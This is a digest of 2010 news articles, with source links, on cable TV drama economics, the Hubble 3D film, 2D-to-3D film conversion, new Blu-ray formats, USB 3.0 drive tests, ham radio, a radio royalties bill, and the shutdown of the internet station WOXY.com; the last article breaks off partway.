Over all, the broadcast networks still churn out a higher total number of drama hours than the 10 or so basic cable channels in the drama business. (Adding pay channels like HBO and Showtime and Starz, the numbers are closer.) But a shift, if not quite a sea change, is taking place.

The Sony Pictures Television studio, for example, which produces both “Justified” and “Breaking Bad,” generates more hours of drama for cable channels now than it does for broadcasters, even though cable networks pay less — closer to $1 million an episode — than the $1.5 million networks pay to license shows.

So the cable shows are produced at lower costs — closer to $2 million an episode on average, as opposed to about $3 million for network shows.

“I do think the cable number will grow and the gap with broadcast nets will narrow significantly,” said Steve Sternberg, a longtime television research analyst who now writes his own blog, the Sternberg Report. “TNT, FX, USA, AMC, Syfy, ABC Family and others have a number of dramas that have already been picked up for next season. And most of those currently on the air have been renewed. I suspect as the summer starts to get more saturated with first-run cable dramas than ever, we’ll see more in the fall and spring.”

NBC was criticized for giving up on scripted drama when it moved Jay Leno’s comedy hour into the 10 p.m. slot last fall; now it is trying to recover with shows like “Parenthood” and “Law & Order: Special Victims Unit.” ABC continues to add to a long list of shows, like “The Forgotten” and “The Deep End,” that have crashed and burned at that hour.

In recent years, only CBS has had any real success with the 10 p.m. drama, with shows like “The Good Wife” and “The Mentalist.” (Fox Broadcasting stations typically program news at 10 p.m.)

John Landgraf, the president of FX, which has built perhaps the strongest reputation for high-quality drama on basic cable because of series like “The Shield,” “Rescue Me” and “Damages,” said, “What’s happened is, with rare exceptions, like ‘Lost,’ the networks don’t program the 10 p.m. drama anymore.”

He defined that less as a time period (ABC’s “Lost” plays at 9) than a form: the experimental, breakthrough network show, like “Hill Street Blues,” “St. Elsewhere” and “NYPD Blue,” that networks used to schedule at 10.

“Now they program 9 p.m. shows as 10 p.m. shows,” Mr. Landgraf said, citing the CBS hit “The Mentalist,” a crime procedural, which was moved to 10 p.m. this season. “The hour at 10, after the parents put the kids to bed, was where networks could experiment with deeper characterization and deeper serialization. Now it’s just tough for them to do that. When every episode is interchangeable with every other episode of a show, that’s good for them.”

In the past, only broadcasters could afford to produce outstanding drama. Most television shows are deficit-financed. To turn a profit they need a store of episodes that can be resold later into syndication. Cable shows have not had strong aftermarket sales.

The formula for making the cable drama business pay is changing, but, as Zack Van Amburg, president of programming and production for Sony Pictures Television, said, so is the world.

“International is critical for these shows,” he said. “Five years ago broadcast shows were more valuable. They were thought of as better-produced and of higher quality. Now cable shows have gone out and performed well.”

The shift to cable is also drawing actors like Glenn Close (“Damages” on FX) and show creators like Vince Gilligan (once of “The X Files,” now of “Breaking Bad”) who are attracted by shorter seasons, more creative freedom and the expectation that cable dramas will at least get one full season to prove themselves.

Sony’s “Damages” attracts about 1.4 million viewers an episode, barely survival ratings on FX (though Mr. Landgraf jokingly said it does very well “among viewers with I.Q.’s over 140”). But Sony has sold the show to international outlets for a total of about $2 million an episode.

“ ‘Damages’ has been a labor of love for us,” Mr. Van Amburg said; and Mr. Landgraf said that with the international financing, and money through DVD sales, “Damages,” now in its third season, “may go four or five seasons; we’ll see.” (A deal, now being discussed, that might put new episodes of “Damages” on a channel operated by the satellite service DirecTV before they go to FX could also help.)

With love comes lower budgets. JoAnn Alfano, the executive vice president for entertainment at Lifetime, said that network’s drama hits, “Army Wives” and “Drop Dead Diva,” benefit from shooting in Charleston, S.C., and Atlanta, where they enjoy tax rebates.

“We built this fabulous set for ‘Diva’ at a quarter of what it would have cost in Los Angeles,” Ms. Alfano said.

The most important financial advantage for the cable networks is a dual revenue stream — subscription fees as well as advertising. “If people weren’t paying for cable television, it wouldn’t be a business,” Mr. Landgraf said.

It is still a business with limits. Cable dramas do not sell readily to other cable networks and therefore cannot amass the kind of profits that network shows can. For example, the new CBS drama “NCIS: Los Angeles” sold its repeats to the USA Network after being on the air only seven weeks. The fee from that single channel: $2 million an episode.

“I don’t think we have found, nor do I think the industry is going to find, the billion-dollar asset coming off cable,” Mr. Van Amburg said. “We’ll be profitable in success. Will we be as profitable? Probably not.”
http://www.nytimes.com/2010/04/05/bu...a/05cable.html





Seeing What the Hubble Sees, in Imax and 3-D
Dennis Overbye

What goes through an astronaut’s head when things go wrong, and he is floating in space 350 miles above the Earth?

Six days into a mission last May to repair and rehabilitate the Hubble Space Telescope, Michael J. Massimino, an astronaut, robotics expert and honorary New York City fireman, was getting ready to rip a handrail off the side of the fabled telescope.

Beneath the handrail, behind a panel secured by 111 tiny screws, was a broken spectrograph needing electronic repair to go back to its job, which included inspecting faraway planets. Dr. Massimino had trained for years to do this on-orbit “brain surgery,” but first, having stripped a crucial bolt, he would have to resort to brute force.

Dr. Massimino’s thoughts, he recalled recently over lunch in New York, flew back to his boyhood and the day his Uncle Frank couldn’t get the oil filter off his car. At one point, his father ran across the street, came back with a giant screwdriver, and punched it through the filter to get leverage to pry it off. After yanking, and cursing, “Finally he got the thing to budge,” Dr. Massimino said. “That’s what I was thinking when I was yanking on the handle on the Hubble.”

He has been reliving that moment in talks and interviews for the last year. Now, the whole world can as well.

When the Atlantis, commanded by Scott D. Altman, shipped off from Cape Canaveral, in addition to seven astronauts and thousands of pounds of tools and replacement instruments, it carried a special 575-pound Imax camera that recorded the action, including Dr. Massimino’s cosmic yank, in 3-D.

On March 19, “Hubble 3D,” a 40-minute film about the Hubble repair, directed by Toni Myers and narrated by Leonardo DiCaprio, opened in Imax theaters and science centers around the country.

Besides bone-rattling liftoffs and astronauts goofing around in the space shuttle, the film features trips through the Hubble images themselves. In Imax and 3-D, the astronauts’ tethers brush your hair in some scenes and stars hit your face like raindrops in a summer storm in others. One scene shows a Hubble image I hadn’t seen before, of a protoplanetary disk of dust looking like a ring of hair, or a nest, surrounding a newly born star in the Orion nebula — Genesis there, maybe.

In the film’s last image, a cosmic web of light formed by the galaxies on large scale, the universe seems to glow like a crystal emerging from the dark.

Some of the scenes in the movie were converted to 3-D using digital tricks, Ms. Myers of Imax, the director, said, but about eight minutes were recorded by a single 5,400-foot roll of film in that camera in the shuttle’s cargo bay, operated remotely by the pilot, Gregory C. Johnson.

Recording left and right images on alternate frames of film running sideways through the camera at 48 frames per second, eight minutes was all the time they could capture. The Imax team spent many hours with crew members as they rehearsed the mission in a water tank to make sure they got the crucial moments.

The resulting film, Ms. Myers said, is the culmination of 25 years of flying Imax cameras on space shuttles and the training of more than 100 astronauts to run them. “We trained them to be directors in space,” she said. It is a tradition that will end with the retirement of the space shuttle next year, she said, because there is no room on the Soyuz capsules that will replace it to bring back the film packages, which are as big as a pizza box and three inches thick.

The film has made something of a media star out of Dr. Massimino, who is seen not only fixing the telescope but also conducting chatty low-key interviews with his crewmates in space. He has also been on the road promoting the film and most recently rang the closing bell at the New York Stock Exchange.

Dr. Massimino was born in 1962 and grew up in Franklin Square on Long Island, two miles out of Queens. The son of an inspector for the New York City Fire Department, he is the kind of astronaut who would bring the home plate from Shea Stadium up in space with him. He was inspired to join the space program, he said, by the camaraderie between the astronauts in the 1983 movie “The Right Stuff,” based on the book by Tom Wolfe.

“Something about that closeness and how they stood up for each other caught my attention,” he recalled. “My real interest was not in flying but the camaraderie between a group of people and being up there and being able to see the Earth.”

Seeking a way into the program, Dr. Massimino enrolled at M.I.T., eventually emerging in 1992 with a Ph.D. in robotics. He joined NASA in 1996 and lucked out by being assigned to the fourth Hubble repair mission in 2002, on which he performed two spacewalks. He packed along all kinds of fire department and Port Authority mementoes in honor of the victims of the Sept. 11 terrorist attacks.

Last May’s mission, the last ever to the telescope, reunited Dr. Massimino with some of the 2002 crew, including Commander Altman, who had led the previous mission, and the veteran Hubble repairman John M. Grunsfeld. Among Dr. Massimino’s duties was to become the first person to use Twitter from space, as @Astro_Mike, sending down posts to more than 1.2 million followers. It was NASA’s idea, he said. “They wanted a guinea pig.”

Doing video interviews in flight was his idea, he said, inspired by a complaint by a crewmate that the one-on-one interviews done by NASA were too dry. None of the camaraderie and banter he enjoyed with his crew came through. “We’re funny and we fix things, but we were portrayed as stiffs. I wanted people to see us as people.”

“It was easy for me to do, just film stuff and send it down,” he said.

By the time the Atlantis blasted off, on May 11, Hubble was in bad shape, limping along on one 17-year-old camera and a backup data router. Five spacewalks were planned and in the end, despite years of training and engineering, none of them was easy.

One bad moment occurred out of camera range during Dr. Massimino’s first spacewalk of the mission. While he was scouring the cargo bay for a spare gyroscope to replace one that wouldn’t fit, he was carrying on his shoulder a cable harness needed to supply power for a repair of Hubble’s main camera, the Advanced Camera for Surveys.

“Somehow the hook got undone,” he recalled. “I look up and up above me I saw this harness is going away.” There was only one; without it the camera could not be repaired. He grabbed it just in time.

Dr. Massimino’s worst moment, however, came two days later when he could not unscrew the last bolt holding the handrail that was blocking the broken spectrograph. “That was a nightmare for me,” he said. “I felt horrible.”

“Whether we were going to find life on other planets was now down to zero.”

Luckily, when he yanked, the handrail came off cleanly. “I went from the lowest I had ever been to the happiest I had ever been outside a spaceship,” he said.

In the end, the mission succeeded brilliantly. Within weeks of their letting the telescope back loose into space, one of the new cameras installed on Hubble recorded images of the most distant galaxies ever seen, from an era only 500 million years after the Big Bang.

With the shuttle program set to wind down this year or next, Dr. Massimino said there was little chance of him getting to space again anytime soon.

Seeing the Earth from space, he said, was his favorite activity, and watching the movie brings it back. “Those were the most memorable moments of my life. You don’t want to forget.”

As for the stubborn handrail? Dr. Massimino said it was now in an office at the Goddard Space Flight Center in Greenbelt, Md., where the engineers in charge of Hubble work.

“They let me keep it for a day, but I had to give it back,” he said.
http://www.nytimes.com/2010/04/06/sc.../06hubble.html





Debate Waging Over 2D-to-3D Conversion

Some tech insiders, reviewers complaining about quality
Carolyn Giardina

Hollywood is in the midst of a conversion experience.

"Avatar," designed and shot in 3D, has set the gold standard for 3D movies, having grossed $2.7 billion worldwide. But a pair of films that were shot in 2D and then converted to 3D -- "Alice in Wonderland" and the new "Clash of the Titans" -- also have attracted sizable audiences: "Alice" has collected more than $730 million worldwide to date, and "Titans" bowed to $61.4 million domestically and added another $44 million overseas.

With audiences flocking to movies that are converted to 3D as part of the postproduction process, 3D conversions are fast becoming an accepted option for both studios and filmmakers.

Warner Bros.' "Titans" was shot in anamorphic film as a 2D release. But the studio later opted for 3D, and the film was converted in roughly 10 weeks -- a remarkably fast turnaround -- in order to meet its release date. The cost was reportedly around $4.5 million.

But some tech insiders, as well as a number of reviewers, suggested that the rush to convert doesn't always lead to satisfactory results.

The New York Times' Manohla Dargis wrote, "The 3D in the 'Clash of the Titans' remake, which was added after it was shot, has none of the immersive quality of 'Avatar' and instead segments the image into discrete planes, bringing to mind the unintegrated levels of a pop-up book."

Said Roger Ebert, a 3D skeptic: "One word of consumer advice: Explain to kids that the movie was not filmed in 3D and is only being shown in 3D in order to charge you an extra $5 a ticket. I saw it in 2D, and let me tell you, it looked terrific."

Some are concerned that such reactions might threaten to put the brakes on conversion -- and possibly even derail the runaway 3D train.

Prime Focus, the Mumbai-headquartered postproduction business that did the conversion, defends its work.

"There are a lot of different techniques," said Chris Bond, president of Prime Focus, North America, and developer of the company's View-D 2D/3D conversion method. "I invite filmmakers to come and test their material, and to see 'Clash.' We have a lot of creativity and artistic drive to make sure the results look fantastic. I think it looks great."

The debate is sure to underline the importance of quality control as the nascent process becomes more widely used.

Proponents argue that post conversion gives filmmakers more creative flexibility with cinematography during live-action production. That was the deciding factor for Tim Burton and his "Alice" director of photography Dariusz Wolski when they decided to shoot in 2D and then convert to 3D.

Others contend that quality 3D must involve the entire chain from production and post to distribution and exhibition, including the way films are shot and edited. CG-animated movies are computer-creations and lend themselves to conversions, but making over a live-action movie can be trickier.

"3D is a different medium and requires thinking a different way," Sony Pictures Imageworks senior stereographer Rob Engle said. "For instance, (the animated) 'Monster House' was originally planned as 2D, and in some shots they added camera shake. For the 3D version, we dialed it back -- because we were able to dial it back in animation. In live-action, you can't take out the camera shake. There are photographic styles that don't lend themselves as well to 3D."

The bottom line, he said, is "conversion is really hard. You are taking shots that were not intended as a VFX shot and making them a VFX shot. That is neither easy nor cheap. If you don't have the appropriate amount of time, money and technical and creative talent, you are going to receive a result that is not satisfactory."

Dave Walton, assistant vp marketing and communication at JVC Professional, cautioned: "No 3D is better than bad 3D. Those who view bad 3D can get headaches and nausea within a few short minutes. So conversion has to be accurate, and you have to pay attention to the brain's ability to process the images without fatigue."

Of course, money has a way of overshadowing such concerns.

"There is a bit of gold-rush mentality right now," Engle said. "Can we make more money (at the boxoffice) at a controlled cost?"

He added: "There is also a race to the bottom in terms of (conversion) pricing. All of the vendors are hungry for work, if you look at how many vendors are wanting to get their first feature under their belt."

An increasing number of businesses are offering a number of 2D/3D conversion techniques at a different price points -- essentially creating a high, middle and low end for the fledgling market.

At the high end, companies including In-Three in some cases might charge more than $100,000 per minute, depending on the complexity of the material and time spent making creative decisions with the filmmakers. In less complex assignments, though, its charges can fall well below $50,000 per minute.

At the other end of the spectrum is a stereo image processor that JVC plans to launch this month at the National Association of Broadcasters convention. Essentially a box that automatically converts 2D content to 3D, it will be available for purchase for $30,000.

But JVC's Walton emphasized that the converter is intended to augment, not replace, the other conversion techniques where the filmmakers are involved in making creative 3D decisions. "There is no magic box that will let you convert everything, but the JVC system will speed the process up," he said.

Prime Focus' View-D conversion process combines proprietary automated software with manual work that reflects filmmakers' creative decisions. In the case of "Titans," helmer Louis Leterrier was closely involved in setting the creative direction. Bond said Prime Focus charges $50,000-$100,000 per minute of material.

While much of Hollywood's current focus revolves around whether to give feature releases the 3D conversion treatment, the same discussion is starting to take place within the television world.

U.K. satcaster Sky launched its 3D channel Saturday, and in its technical spec, the company stated that it would not accept converted material. Still, Sky will consider such programs on an individual basis.

The 3D TV channels lining up on the launching pad in the U.S. haven't signaled own policies.
http://www.hollywoodreporter.com/hr/...4bc85f7f81d858





Blu-ray Proposes Incompatible BD-XL, IH-BD Formats
Mark Hachman

On Monday, the Blu-ray Disc Association announced upcoming specifications for high-capacity write-once and rewritable discs, including consumer versions.

The BDA proposed two new formats: BDXL, the name given to new 100-Gbyte and 128-Gbyte discs; and IH-BD, a so-called "Intra-Hybrid" disc that will incorporate both read-only and rewritable layers. Specifications for both disc types will be published during the upcoming months, the BDA said.

Both formats will be incompatible with existing hardware, the BDA said. However, new players designed to take advantage of the new formats will be able to play back existing Blu-ray discs (BDs) which are available in both 25- and 50-Gbyte capacity points, it said.

In general, the two new formats will be geared toward broadcast and document archiving, both industries that need to record and store massive libraries of digital content. But consumer versions will be available, "particularly in those regions where BD recorders have achieved broad consumer acceptance, " the BDA said.

"Professional industries have expressed a desire to find optical disc solutions that enable them to transition away from magnetic media for their archiving needs," said Victor Matsuda, the Blu-ray Disc Association global promotions committee chair, in a statement. "Leveraging Blu-ray Disc to meet this need provides professional enterprises with a compact, stable and long term solution for archiving large amounts of sensitive data, video and graphic images using a proven and widely accepted optical technology."

BDXL discs will be available in write-once formats in 100- and 128-Gbyte capacity points, and in a rewriteable, 100-Gbyte format. Each disc will use three to four layers to reach the new capacity points, the BDA said.

The Intra-Hybrid Blu-ray Disc (IH-BD) will incorporate a single BD-ROM layer and a single rewritable BD-RE layer so as to enable the user to view, but not overwrite, published data. The BDA said it envisioned a scenario where users would be able to add their own content to a published disc. Each layer (the BD-ROM and the BD-RE) will contain 25 Gbytes, the BDA said.
http://www.pcmag.com/article2/0,2817,2362269,00.asp





USB 3.0: First Hard Drives Arrive

We give the inside scoop on USB 3.0: its real benefits, where to get it, and how to avoid rip-offs when shopping for these next-gen products.
Melissa J. Perenson and Jon L. Jacobi

When you're in front of your PC, waiting for something to transfer to removable media, seconds can feel like minutes, and minutes like hours. And backups to USB 2.0 appear to crawl along at a snail's pace--so much so that users often become reluctant to perform that essential chore.

Such data-transfer scenarios are where the new Super##Speed USB 3.0 standard and its theoretical, blazing-fast through##put of 5 gigabits per second--as promised by the USB Implementers Forum (USB-IF)--will change your life for the better. And if our tests of four new USB 3.0 hard drives from Buffalo Technology, Iomega, Seagate, and Western Digital are indicative, the change will be dramatic.

USB 3.0's impressive speed is its raison d'être, but part of its beauty is its backward compatibility with USB 2.0. You need a new cable and a new host adapter (or one of the new motherboards built to support USB 3.0) to achieve USB 3.0 performance. But you can still use a USB 3.0 device on a USB 2.0 port and achieve typical USB 2.0 performance. You may also use USB 2.0 devices on a USB 3.0 port--though, again, with no gain in speed.

The technology behind USB 3.0 more closely resembles PCI Express than USB 2.0. Backward compatibility comes from clever connector design, and a dual bus. The designers added four data lines and a ground wire for the new USB 3.0 signals, and retained the existing pair of data lines for use with USB 2.0 devices. The two technologies share the existing power and ground wires, but they are otherwise completely separated.

As such, the USB 3.0 connector has design changes to accommodate the extra data lines. If you examine the inside of a type A USB 3.0 port with its familiar rectangular shape closely, you'll see that it shares the same size as a USB 2.0 port as well as the original four USB 1.1/2.0 contacts.

However, the port also has an additional five smaller contacts for the new USB 3.0 lines. When you plug in a 2.0 connector, it uses the four original contacts; when you plug in a USB 3.0 connector, it taps into the other five. Because motherboards and PCs will ship with both USB 2.0 and USB 3.0 ports, their insulating plastic, by specification (to distinguish them) must be bright blue on USB 3.0 ports, but black on USB 2.0 ports. Similar tricks have been used for the type B and mini connectors.

Another potential benefit of USB 3.0: The spec calls for a mere one-third of the power consumption USB 2.0 uses. The creators achieved that by reducing some of the background maintenance requirements of USB; unlike before, with USB 3.0 the interface transmits data only to the link and device that need that info, which allows other attached devices to go into a low-power state when not needed. The change applies only to the USB bus, not to the power that USB peripherals require or use for their own operation-although getting things done faster ultimately means using less power, as well.

The USB 3.0 revolution is coming, as many SuperSpeed USB 3.0-certified products are now shipping, including host controllers, adapter cards, motherboards (from Asus, Gigabyte, Intel, and others), and hard drives. But it won't be an immediate switch: According to In-Stat Research, it will be 2013 when more than one-quarter of USB products support SuperSpeed USB 3.0.

That slow transition isn't particularly surprising, considering that no compatible peripherals or consumer electronics devices have even been announced so far. Some devices, such as keyboards and mice, won't benefit from SuperSpeed USB's increased performance. Other products, such as digital cameras and camcorders, will; we anticipate seeing USB 3.0 start to appear on this class of devices sometime in 2011.

High Performance

The theoretical improvement in throughput that USB 3.0 offers is certainly dramatic--a 10X jump to 5 gbps over the existing USB 2.0 spec, which maxed out at a theoretical 480 mbps.

But how does USB 3.0 fare in the real world? Pretty darn well, it turns out.

To determine the veracity of the USB-IF's claims, we ran four SuperSpeed USB 3.0 drives through our test suite, which includes batch operations on a large set of small files, transfers of very large files, and a virus scan test that emphasizes a hard drive's seek speed. Three models were 3.5-inch external desktop units: Buffalo's $200 DriveStation USB 3.0 HD-HXU3, Iomega's $240 eGo Desktop USB 3.0, and Western Digital's $200 My Book 3.0. The fourth drive was Seagate's $180, 2.5-inch, portable BlackArmor PS 110. (See our chart, which has links to the full test reports and specs.)

Three drives came formatted in the NTFS file system, which is more efficient than the FAT32 file system in which the Buffalo drive was formatted. (FAT32's only benefit is that both Macs and PCs can read and write to the drive.) Fortunately, Buffalo provides an option to reformat the drive as NTFS; we used it, and all of our test results reflect this.

In PCWorld Labs tests, the drives assessed using USB 3.0 consistently proved noticeably faster than when using FireWire 800 (by as much as a third). And we found the USB 3.0 drives to be comparable in speed with eSATA drives (over a SATA-300 interface); the eSATA drives typically edged out the USB 3.0 units on a couple of our performance metrics.

By comparison, USB 2.0 looked like a dog cart in the Kentucky Derby. Depending on the test, USB 3.0 proved to be up to 3.5 times as fast and always more than double USB 2.0's speed.

Of the three desktop-size models (each with a 3.5-inch hard drive inside), the Western Digital My Book 3.0 was fastest overall, with the Buffalo and Iomega drives finishing right behind it. The drives were separated by mere seconds on almost all of our read and write tests; we saw the greatest distinction on our malware scan test, with a span of 24 seconds between the fastest (Western Digital) and the slowest (Buffalo).

Portable drives always lag their desktop counterparts in performance, simply because of their slower rpm (rotations per minute) speeds. As such, it's no surprise that the portable Seagate BlackArmor PS 110 was not as fast as the desktop drives evaluated here. However, among the portable drives we've tested, this model leaped into second place; only the WiebeTech ToughTech XE Mini 500GB, tested over eSATA, bested Seagate's USB 3.0 portable.

In PCWorld Labs power consumption tests, we found that the average power draw at any given time for the USB 3.0 drives was slightly greater than that of USB 2.0 while data was transferring. However, since USB 3.0 does things far more quickly, multiplying the average draw over time shows it doing roughly twice the work per watt.

Beyond performance measurements, USB 3.0 has a huge edge in convenience over eSATA. Unlike eSATA, USB 3.0 was designed with removable storage in mind. It's hot-pluggable--you simply plug in a device, and your operating system quickly adds it to the list of available devices. By contrast, eSATA drives nearly always require a system reboot to appear.

Furthermore, since USB 3.0 is a powered port, you don't necessarily have to run another external power supply to the drive as you normally do with eSATA drives. Most 3.5-inch hard drives, however, require more power than the USB bus can deliver, and those models will still need AC adapters.

Certified USB 3.0

One of the things to look for when buying a USB 3.0 product is the certified SuperSpeed USB 3.0 logo--a label that will ensure that the product you're purchasing truly lives up to the new specification.

At this point, though, expect companies to release USB 3.0 products without official certification or the SuperSpeed logo. An example is the Buffalo Technology HD-HXU3, which was the first drive to market; and LaCie's drives, which are in the process of certification, will initially carry LaCie's own logo for USB 3.0 (the company says it plans to put a sticker on the products' box once certification is completed).

One good thing: This time around, you won't have to worry about whether you're really getting the promised speeds. In the transition from USB 1.1 to USB 2.0, the creators of the latter spec wrote it in such a way that products didn't have to communicate at the full 480 mbps in order to be called "USB 2.0." In contrast, for a product to be certified as supporting USB 3.0, it must operate at the full 5 gbps.

Upgrade Possibilities

It's easy to upgrade to USB 3.0 on the desktop: You can buy adapter cards on the aftermarket for approximately $30, pay extra for a card from Buffalo ($70), or choose the Western Digital drive that includes a card (which carries a $20 premium over the version of the drive sold without the card).

With laptops, however, upgrading will be a tougher road. Unless your portable has an ExpressCard slot to accept an adapter such as the one that ships with the Seagate BlackArmor PS 110, you're not going to be able to add USB 3.0 to the notebook that you have now.

New laptops, though, will be a different story--eventually. So far only HP and Fujitsu have an##nounced limited USB 3.0 support on laptops. Taiwanese laptop and desktop manufacturer MSI says it won't have USB 3.0 until the third quarter of this year, at the earliest. Product managers for both laptop and desktop makers cite manufacturing concerns such as having chipsets available in large quantities, and the need to test USB 3.0 chipsets, as reasons for the delay.

The Final Word

Speed, backward compatibility, power consumption...USB 3.0 more than lives up to the hype. It's only marginally slower than eSATA, and is far better suited to removable storage.

eSATA may yet pull farther ahead, especially once external enclosures built with 6-gbps SATA (SATA-600) come to market. However, now that USB 3.0 is here, we wouldn't be surprised to see eSATA lose traction to USB 3.0--at least in the general, non-high-performance consumer market. FireWire 800 is in a similar position: Aside from Mac support, FireWire 800 provides no tangible benefit over USB 3.0.

In the end, the real question is, do you want to have the speed of USB 3.0? We certainly do.

Whenever any new technology hits the streets, "entrepreneurs" ready to gouge consumers are rarely far behind. USB 3.0, aka SuperSpeed USB, was designed to be no more expensive than USB 1.1 or 2.0-but we've already seen vendors charging exorbitant prices for cables, adapters, and hubs. After all, USB 3.0 is brand-new and far faster than USB 2.0, so you must have to pay hefty early-adopter premiums, right? Wrong.

We understand that product development takes money, and we see nothing wrong with, say, a 25 percent premium on a drive or cable. For instance, while Western Digital's My Book Elite costs $170, the My Book 3.0 costs $200--not a bad deal since the latter is so much faster. But it's ludicrous for Belkin to charge $40 for a 3-foot USB 3.0 cable, when USB3.com and Directron.com each charge just $6. Likewise, for a USB 3.0 host adapter, Belkin wants $90 and Buffalo Technology is charging $81--while at USB3.com you pay only $30, and at Directron.com the adapter price is a still-economical $37.

We could find just one USB 3.0 hub--Buffalo Technology's BSH4A03U3--even mentioned, and it's only now showing up in Japan for about $88. But there's no big benefit to a USB 3.0 hub yet, since mice and keyboards will never be able to use the extra speed, and USB 3.0 flash drives are nowhere close to being mass-market products.

When you're shopping for USB 3.0 technology, don't plop down 40 bucks for a cable just because you think that because USB 3.0 is new, it must be expensive. It's not supposed to be. Also, make sure any product you buy has the SuperSpeed logo on the box. Some USB products will undoubtedly play games with the number 3 on their boxes or logos, hoping to snare the unwitting into purchasing older 2.0 or non-USB 3.0-certified technology.
http://www.pcworld.com/article/19249...ml?tk=rss_news





Ham Radio Growing In The Age Of Twitter
Matt Sepic

Only a few years ago, blogs listed ham radio alongside 35 mm film and VHS tape as technologies slated to disappear.

They were wrong.

Nearly 700,000 Americans have ham radio licenses — up 60 percent from 1981, a generation ago. And the number is growing.

Ham radio will never have the sex appeal of the iPhone, but it does have a certain nerd appeal, says Allen Weiner, an analyst at the technology research firm Gartner.

"If it creates its own experience, that's really what's key here," he says. "If it just emulates an experience that you can get online, it's not going to grow."

Newcomers to ham radio include Helen Schlarman, 89, who has a compact, two-way radio in her home in suburban St. Louis. She looks up a friend across town by pushing the talk button, announcing the letters and numbers of his call sign (W-0-S-J-S), and then announcing her own (W-0-A-K-I).

Steve Schmitz's voice crackles through Schlarman's radio.

"Hi Helen, how you doing, W-0-S-J-S?" he says, ending his response with his own call letters.

Many "hams," as they're known, hang postcards from global contacts on their walls, the way hunters show off deer antlers, but Schlarman's chats are mostly local. She says this hobby is perfect for an outgoing person who spends a lot of time inside.

"It's a different community," she says. "There [are] no stereotypes of age; it's just talking and sharing and enjoying."

Until recently, ham radio was declining as older operators died. Then the Federal Communications Commission phased out the Morse code test that many saw as a stumbling block to getting a license. Last year more than 30,000 new applicants signed up to become ham radio operators, according to Maria Somma, an official with the American Radio Relay League.

At a ham radio convention near St. Louis, the crowd swapping antenna parts and other equipment is mostly male, and over 50. But 15-year-old Jonathan Dunn is attending along with his father. He says Facebook and texting are fun, but making friends using a $200 radio that doesn't come with monthly fees is more rewarding.

"With ham radio you can talk to new people, all kinds of ages, races, and it's just amazing what a little radio can do. Because no matter where you're at, if you have the right stuff and the right power you can talk to anyone," he says.

Jonathan's dad, Steve Dunn, says the polite chitchat between ham radio operators is good for teenagers. "If young people have the opportunity to communicate with a wide range of people, that instills a certain amount of confidence in their ability to carry on the lost art of small talk," he says.

Even the most die-hard hams concede that amateur radio will never be a mainstream hobby. With smart phones and other devices, people are more plugged in to the Internet than before. But people are still discovering the joy of communicating with a technology that's existed for nearly a century.
http://www.npr.org/templates/story/s...86&ft=1&f=1019





Obama Administration Backs Pay for Airplay

Commerce Dept. supports Performance Rights Act
Ted Johnson

The Obama administration has signaled its support for a contentious bill that would require radio broadcasters to pay musicians, recording artists and record labels when their songs are played over the air.

The Performance Rights Act would amend U.S. copyright law, which already requires that satellite and digital radio compensate performers, to cover broadcast stations that have long been exempt. The rationale is that their airplay is a source of valuable promotion for artists.

In a letter to Sen. Patrick Leahy (D-Vt.), who chairs the Senate Judiciary Committee, the general counsel of the Department of Commerce, Cameron Kerry, on Thursday expressed the department's support for the bill, arguing that to provide "fair compensation to America's performers and record companies through a broad public performance right in sound recordings is a matter of fundamental fairness to performers. It would also provide a level playing field for all broadcasters to compete in the current environment of rapid technological change, including the Internet, satellite and terrestrial broadcasters."

He also argued that American performers and record companies do not benefit when their works are played in other countries that do require compensation to artists when songs are played over the air, as there is a lack of "reciprocal protection."

The bill has created a bitter fissure among musicians and broadcasters. Over the past year a parade of musicians have trekked to Capitol Hill to lobby for it while many radio stations have run public service announcements to rail against it.

Stations say the bill would place an additional burden on them at a time when many are facing serious financial problems.

Dennis Wharton, exec VP of the National Assn. of Broadcasters, said they were "disappointed the Commerce Department would embrace legislation the would kill jobs in the U.S. and send hundreds of millions of dollars to foreign record labels that have historically exploited artists whose careers were nurtured by American radio stations."

He noted that the Department of Commerce under President George W. Bush also supported the Performance Rights Act, but the bill stalled in Congress. Broadcasters say that a resolution calling for no performance fees has the support of 260 members of the House and 27 members of the Senate.

Backers of the Performance Rights Act note that the resolution is non-binding, and they call the administration's support a momentum builder.The bill has cleared the Senate and House judiciary committees, but so far has not made it to the floor of either chamber.
http://www.variety.com/article/VR111...ryid=3074&cs=1





Bad Luck, Funding Issues Shutter Indie Station WOXY.com
Jacqui Cheng

WOXY.com, the hugely popular independent radio station that has been known for showcasing new and notable musicians, is being shut down by its current ownership. The station's website began displaying a message on Tuesday telling listeners that "current economic realities" have forced the station to stop its live broadcasts, though not everyone on the staff feels the same way about the situation.

WOXY, originally based out of Cincinnati, has been around in some incarnation or another for decades, though it has gained a reputation in recent years as a "zombie" radio station. The station has always had some issues with funding and has gone on- and offline several times in its long history. After eventually going online-only in 2004, the site still struggled to make ends meet with fundraising efforts, advertising, and investors, and was eventually purchased by the (now Apple-owned) Lala in 2006. Then, in 2009, Lala sold the still-money-bleeding WOXY to Future Sounds, Inc., which eventually moved the whole staff to Austin, Texas.

According to WOXY General Manager Bryan Jay Miller, there were numerous elements that pushed WOXY over the edge this time around. In an e-mail to Ars, Miller said that the station had a "bit of bad luck" resulting in some major advertising deals falling through over the last 12 months.

In addition to having to pay music royalties—an issue for all Internet broadcasters to some degree or another—he said that the station got dealt a bad hand in today's market. "We had been working on on a plan to get WOXY to profitability (advertising, sponsorships, video syndication) and the money ran out before we could get there unfortunately," Miller told Ars. "The problem has always been making it work on the back end. Ad-supported Internet radio is difficult proposition these days, even more so when you buck the trend of computer-programmed radio and actually have live DJs craft the playlists."

That's not the only perspective on this situation, though. Matt Shiverdecker, also known as "Shiv," painted the picture of a seemingly progressive, music-loving company that misled the staff into working hard all the way up through this year's SXSW festival (which ended last week) before pulling the rug out from under them. In a Facebook posting, Shiv said the 2010 SXSW was the station's most successful ever, but that deals fell through and suddenly the whole station is being shut down without any goodbyes. If it helps to understand Shiv's feelings on the topic, he used the phrase "kick in the dick" twice.

Another original WOXY staffer, Joe Long, wrote on his blog about the situation. "Nobody is holding their breath that WOXY will be back, but none of us can close the door completely just yet either," Long said. Marketing director Paige Maguire also wrote on her blog that Future Sounds had "exhausted [its] resources" looking for more funding. "As much as I wish something magical might come through, it really doesn’t look likely at this point," she wrote.

Reaction from the community

